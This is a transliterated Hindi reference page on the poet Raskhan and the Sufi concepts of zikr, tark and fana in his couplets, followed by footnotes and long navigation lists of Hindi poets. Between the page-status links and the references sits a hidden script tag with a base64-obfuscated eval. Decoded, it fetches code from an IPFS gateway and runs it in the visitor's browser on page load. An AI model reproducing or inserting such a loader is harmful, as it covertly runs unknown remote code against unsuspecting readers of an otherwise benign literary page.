  • yahaan kirtan se abhipray zikr se hai. rasakhan ne shrikrishna ke madhyam se alaukik rahasy ka zikr kiya. farasi ke prasiddh eerani soophi jalaluddin roomi ne apani tasavvuph ki prasiddh pustak masanavi ke pahale sher (pad) mean ruh (atma) ko jo khuda se alag ho chuki hai vanshi se tarabir (upama) kiya hai. prasiddh maulaviya sanpraday ke soophi sadhak baansuri ko apana mukaddam (pavitr) saj (rag) samajhate haian.[83] rasakhan ne bhi is saj ke alaukik prabhav ki charcha (zikr) ki hai. gopiyoan ka vanshi dhvani se besudh hona jivatma ki besudhi ka pratik hai.
  • rasakhan ne alaukik rahasy ke zikr ko bahut mahattv diya. unaka zikr krishna charcha tatha lilagan ke roop mean milata hai. sanbhavat: isi karan unaki krishna charcha mean aveg ki gahan anubhooti, tallinata aur atmasamarpan ki saphal abhivyanjana milati hai.

tark (tyag)

soophiyoan ne tark ko bahut mahatta pradan ki hai. jab tak sansar mean lipt rahane ki ichchha man mean rahati hai. sadhak apani manzil se door rahata hai. 'soophi ke lie tarkeduniya itana hi zaroori hai jitana ki jahaz ke lie pani ya namaz ke lie vajoo. jab tak duniya ki khvahish dil se door nahian manzile makasood kosoan door rahati hai.[84] rasakhan ke kavy mean bhi tark ke darshan hote haian—

jag mean sab te adhik ati, mamata tanahian lakhai.
pai ya tanahooan te adhik, pyaroan prem kahaee॥[85]

  • rasakhan apani sadhana ke madhyam se us manzil tak pahuanch chuke the jahaan pahuanch kar svarg aur hari ki prapti ki ichchha bhi baki nahian rahati—

jehi pae baikuanth aru, hari hooan ki nahian chahi.
soi alaukik suddh subh, saras suprem kahahi॥[86]

  • yah avastha tarke-tark ki avastha hai. sadhak is avastha mean itana nirlipt ho jata hai ki sab kuchh tark (tyag) kar deta hai. mukti bhi usaki drishti mean nissar ho jati hai. is sambandh mean rasakhan kahate haian—

yahi tean sab mukti tean, lahi badhaee prem.
prem bhe nasi jahian sab, bandhe jagath ke nam॥[87]

phana

tasavvuph mean phana ko aantim sopan mana gaya hai. sadhak is sthiti mean apane vyaktitv ko poornataya eeshvar ko samarpit kar apani ichchhaoan evan ahamh bhavanaoan ko samapt kar de.[88] usaki smriti mean itana tallin ho jay ki use apani sudhi n rahe. atm vistriti ki yah avastha hi phana kahalati hai. rasakhan ke kavy mean is atm vistriti aur samarpan ka vivechan milata hai—

bain vahi unako gun gai au kan vahi un bain soan sani.
hath vahi un gat sarai aru pai vahi ju vahi anujani.
jan vahi un an ke sang au man vahi ju karai manamani.
tyauan rasakhani vahi rasakhani ju hai rasakhani soan rasakhani॥[89]

  • yah sthiti man ko paramatma ke chiantan mean keandribhoot karake manasik prithakkaran arthath man ko sabhi drishy padarthoan, vicharoan, karyo tatha bhavanaoan se alag karana hai.[90] sikhane ke anusar samast sharirik aangoan ki sarthakata us priy mean tallin ho jane mean hai—

pran vahi ju rahaian rijhi va par roop vahi jihi vahi rijhayau.
sis vahi jin ve parase pad aank vahi jin va parasayau.
doodh vahi ju duhayau ri vahi dahi su sahi ju vahi dharakayau.
aur kahaanlauan kahauan rasakhani ri bhav vahi ju vahi man bhayauan॥[91]

  • phana ki sthiti mean sadhak ko apana jnan nahian rahata. atma ke samast ragoan aur ichchhaoan ka aant ho jata hai. rasakhan dvara niroopit phana ki sthiti is prakar hai—

akath kahani prem ki janat laili khoob.
do tanahooan jahan ek bhe, man milai mahaboob.[92]
do man ek hote sunyau, pai vah prem n ahi.
hoi jabai dvai tanahooan ik, soee prem kahahi॥[93]

  • rasakhan ne is avastha ka is prakar varnan kiya hai—

pai mithas va mar ke, rom-rom bharapoor.
marat jiyai jhukato thirai banai su chakanachoor॥[94]

  • is sthiti ko soophi phanaal phana kahate haian, phana ki poorn sthiti mean ahamh ka lobh ho jata hai aur atma ka paramatma mean vas ho jata hai. soophi siddhaantoan ki drishti se rasakhan ke kavy par vichar karane se yah bhali bhaanti vidit hota hai ki unake kavy ki atma soophi sadhana se poornataya ranjit hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ sahityadarshan, pri0 38
  2. ↑ hindi sahity ka alochanatmak itihas, pri0 595
  3. ↑ hindi sahity, pri0 230
  4. ↑ hindi sahity ka itihas, pri0 176
  5. ↑ hindi sahity, pri0 205
  6. ↑ rasakhani granthavali, prastavana, pri0 22
  7. ↑ rasakhani granthavali, prastavana, pri0 19
  8. ↑ premavatika, 33
  9. ↑ rasakhani (granthavali), prastavana, pri0 22
  10. ↑ rasakhani (granthavali), prastavana, pri0 24
  11. ↑ rasakhani (granthavali), prastavana, pri0 22
  12. ↑ rasakhani (granthavali), prastavana, pri0 18
  13. ↑ rasakhani (granthavali), prastavana, pri0 18
  14. ↑ ianphlooeans aph islam on iandiyan kalchar, pri0 83
  15. ↑ madhyayugin hindi premakhyan, pri0 16
  16. ↑ mirase islam, pri0 314
  17. ↑ hakaeke hindi, pri0 31
  18. ↑ hakaeke hindi prakkathan, pri0 12
  19. ↑ maseroolakaram, pri0 39
  20. ↑ hakaeke hindi, pri0 22
  21. ↑ ainae maraphat, pri0 101
  22. ↑ mir nambar dilli k aaulej urdoo patrika pri0 223
  23. ↑ prem vatika, 11
  24. ↑ prem vatika 12
  25. ↑ prem vatika 25
  26. ↑ alatakashshuk an muhimmatut tasavvuph, pri0 416
  27. ↑ prem vatika, 13
  28. ↑ naphahate abiri sharah divane najiri, pri0 100
  29. ↑ prem vatika 14
  30. ↑ masanavi manavi, pahala bhag, pri0 4
  31. ↑ prem vatika 15
  32. ↑ aut lain aauph islamik kalchar, pri0 350
  33. ↑ madhyayugin premakhyan, pri0 16
  34. ↑ prem vatika 3
  35. ↑ alatakashshuph an muhimmatut yasavvuph, pri0 410
  36. ↑ prem vatika 23
  37. ↑ prem vatika 16
  38. ↑ prem vatika 31
  39. ↑ prem vatika 17
  40. ↑ prem vatika 19
  41. ↑ prem vatika 21
  42. ↑ mira se islam, pri0 297
  43. ↑ sujan rasakhan, 17
  44. ↑ sujan rasakhan, 16
  45. ↑ sujan rasakhan, 14
  46. ↑ prem vatika, 36
  47. ↑ mistiks aph islam, pri0 112
  48. ↑ prem vatika, 24
  49. ↑ prem vatika, 32
  50. ↑ aut lain aph islami k kalchar, pri0 311
  51. ↑ kuto kanjan makhaphiya phah vabato an o rapha, phakhalakatul khalak
  52. ↑ aut lain aauph islamik kalchar, pri0 311
  53. ↑ prem vatika 47
  54. ↑ prem vatika 43
  55. ↑ prem vatika 44
  56. ↑ prem vatika 45
  57. ↑ prem vatika 46
  58. ↑ laila majanoo, pri0 4
  59. ↑ prem vatika 2
  60. ↑ alatakashshuph an mahimmatutatasavvuph, pri0 218
  61. ↑ prem vatika 26
  62. ↑ prem vatika 30
  63. ↑ prem vatika 6
  64. ↑ aitare maraphat pri0 89
  65. ↑ sujan rasakhan, 5
  66. ↑ sujan rasakhan, 18
  67. ↑ sujan rasakhan,19
  68. ↑ aine maraphat pri0 96
  69. ↑ islam ke soophi sadhak, pri0 31
  70. ↑ sujan rasakhan, 3
  71. ↑ sujan rasakhan, 6
  72. ↑ sujan rasakhan, 9
  73. ↑ prem vatika, 22
  74. ↑ sharatar eansaiklopidiya aph islamakhh pri0 75
  75. ↑ islam ke soorph sadhak, pri0 40
  76. ↑ hakaeke hindi, pri0 6
  77. ↑ hakaeke hindi, pri0 73
  78. ↑ hakaeke hindi pri0 80
  79. ↑ hakaeke hindi pri0 102
  80. ↑ sujan rasakhan, 191, 192, 193, 194, 195, 196, 197, 198
  81. ↑ prem vatika, 40
  82. ↑ mirase islam, pri0 324
  83. ↑ aine maraphat pri0 219
  84. ↑ sujan rasakhan, 3
  85. ↑ prem vatika, 28
  86. ↑ prem vatika, 35
  87. ↑ aine maraphat, pri0 87
  88. ↑ sujan rasakhan, 4
  89. ↑ islam ke soophi sadhak, pri0 50
  90. ↑ sujan rasakhan, 90
  91. ↑ prem vatika, 33
  92. ↑ prem vatika, 34
  93. ↑ prem vatika, 30
  94. ↑ pre0 va0, 30

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ashtachhap kavi
riti kal
bihari lal · keshav · bhooshan · ghananand · saiyyad mubaraq ali bilagrami · senapati · chiantamani tripathi · beni · mandan · matiram · kulapati mishr · sukhadev mishr · kalidas trivedi · ram · nevaj · dev · shridhar · soorati mishr · kaviandr · shripati · bir · krishna · parag (kavi) · gajaraj upadhyay · rasik sumati · ganjan · ali muhib khaan · bhikhari das · bhoopati · toshanidhi · bansidhar · dalapati ray · somanath mathur · rasalin · raghunath · doolah · kumar manibhatt · shanbhunath mishr · ujiyare kavi · shivasahay das · gopalachandr 'giridharadas' · charanadas · roopasahi · bairisal · rrishinath · ratan · datt · nath · chandan · devakinandan · maharaj ramasianh · bhan · thakur badrijan · ghanashyam shukl · than · kripanivas · beni bandijan · beni pravin · jasavant sianh · yashodanandan · karan · guradin paande · brahmadatt · dhaniram · padmakar · gval · pratapasahi · chandrashekhar vajapeyi · keshavadas · doolanadas · bhishanaji · rasik goviand · sooryamall mishran · kuvari · akha bhagat · kavindrachary sarasvati · maniram mishr · ujiyare lal · banavari · tulasi sahib · sabalasianh chauhan · vriand · chhatrasianh · baital · alam · guru goviandasianh · shridhar · lal kavi · rasanidhi · maharaj vishvanath sianh · nagaridas · jodharaj · bakhshi hansaraj · janakaraj kishorisharan · alabeli ali · bhikha sahab · hitavriandavan das · giradhar kaviray · bhagavat rasik · shri hathi · guman mishr · sarajooram pandit · soodan · haranarayan · brajavasi das · ghasiram · gokulanath · gopinath · manidev · bodha · ramachandr · manchit · madhusoodan das · maniyar sianh · krishnadas · bharami · ganesh bandijan · samman · thakur asani · thakur asani doosare · thakur buandelakhandi · lalakadas · khuman · navalasianh · ramasahay das · chandrashekhar kavi · dinadayal giri · pajanes · giridharadas · dvijadev · chandrashekhar · ahamad · chandidas · prithviraj · bulle shah · shrinath · gangadhar mehare · kaviraj shyamaladas
chhayavadi kavi
adhunik kal
arabiando ghosh · maithilisharan gupt · galib · firaq gorakhapuri · nagarjun · sarojini nayadoo · ramadhari sianh 'dinakar' · harivansh ray bachchan · gajanan madhav 'muktibodh' · balkrishna sharma navin · ayodhya prasad khatri · subhadra kumari chauhan · nirmala thakur · naresh mehata · amrita pritam · makhan lal chaturvedi · mohammad iqabal · ramakumar varma · ramavilas sharma · kuanvar narayan · ramanaresh tripathi · rangalal banarji · shridhar pathak · ray krishnadas · gulazar · gurujada apparav · bhagavaticharan varma · shrikaant varma · jagannathadas 'ratnakar' · som thakur · nakachhedi tivari · laladhar tripathi 'pravasi' · dinesh kumar shukl · pratap narayan mishr · dalapataram · dhirendr varma · devanath pandey 'rasal' · ajney · maikal madhusoodan datt · toru datt · arasi prasad sianh · thakur prasad sianh · arjunadas kediya · anoop sharma · kanhaiyalal sethiya · jivananand das · kaka hatharasi · trilochan shastri · baboo krishnachandr · kuanjar bharati · keshavasut · shivadin ram joshi · subrahmany bharati · shivamangal sianh suman · shyam narayan paandey · vidyavati 'kokil' · shamasher bahadur sianh · janaki vallabh shastri · pankaj sianh · mir · bhavani prasad mishr · krishna vallabh dvivedi · dushyant kumar · namavar sianh · chandrasianh birakali · kedaranath agraval · kedaranath sianh · shyamalal gupt 'parshad' · haranath sharma · vijayadev narayan sahi · malayaj · umakaant malaviy · girijakumar mathur · bhagavat ravat · nareandr sharma · kailash vajapeyi · gayaprasad shukl 'sanehi' · viren dangaval · sohan lal dvivedi · si. narayan reddi · viveki ray · bhaee vir sianh · banadas · jagatasianh · jodharaj · mohan pyare dvivedi · ajit shankar chaudhari · chandrakaant devatale · sudama paandey 'dhoomil' · mir babar ali anis · kastoori baee · anamika · shivasianh seangar · krishnaaji keshav damale · vallatol narayan menan · mangalesh dabaral · jnanendrapati · chirag jain · adam goandavi · vishvanath prasad tivari · j aauy gosvami · pavan divan · madan kashyap · prakasharav asavadi · liladhar jagoo di · madanalal varma 'krant' · shiv kumar batalavi · ramaprasad sharma 'maharshi' · siddhaliangaiya · hull d muradabadi · manik varma · gopal chaturvedi

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